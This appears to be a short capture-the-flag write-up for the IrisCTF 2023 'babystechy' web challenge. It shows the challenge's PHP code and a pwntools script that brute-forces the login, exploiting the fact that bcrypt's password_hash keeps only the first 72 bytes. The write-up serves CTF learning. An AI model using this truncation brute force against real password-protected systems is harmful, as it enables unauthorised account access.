IrisCTF 2023-web-babystechy

Keywords

• password_hash(), 72 bytes
• check details of specific funtions
• print it out

Given info

• chal.php was given

<?php
$password = exec("openssl rand -hex 64");

$stretched_password = "";
for($a = 0; $a < strlen($password); $a++) {
    for($b = 0; $b < 64; $b++)
        $stretched_password .= $password[$a];
}

echo "Fear my 4096 byte password!\n> ";

$h = password_hash($stretched_password, PASSWORD_DEFAULT);

while (FALSE !== ($line = fgets(STDIN))) {
    if(password_verify(trim($line), $h)) die(file_get_contents("flag"));
    echo "> ";
}
die("No!");

?>

• We should make true of password_verify()

Ideas

1. find REAL $h value
2. bypass password_verify()

• $h made by very strange codes

$password = exec("openssl rand -hex 64");

$stretched_password = "";
for($a = 0; $a < strlen($password); $a++) {
    for($b = 0; $b < 64; $b++)
        $stretched_password .= $password[$a];
}

$h = password_hash($stretched_password, PASSWORD_DEFAULT);

get result of chal.php file

• We can see that streched_password have very long data
• But, password_hash() function only allowed maximum 72 bytes
• It means we can bruteforce the 72 bytes value. because same 64 bytes and same 8 bytes values
  

brute forcing

• make ex.py to brute forcing 72 bytes (64 + 8 bytes)

import subprocess
import pwn
import string

pwn.context.log_level = "debug"

r = pwn.process(["php", "chal.php"])

wordlist = string.digits + string.ascii_letters

for vector1 in wordlist:
    for vector2 in wordlist:
        payload = vector1 * 64 + vector2 * 8

        r.recvuntil("> ")
        r.sendline(payload)

• We can get FLAG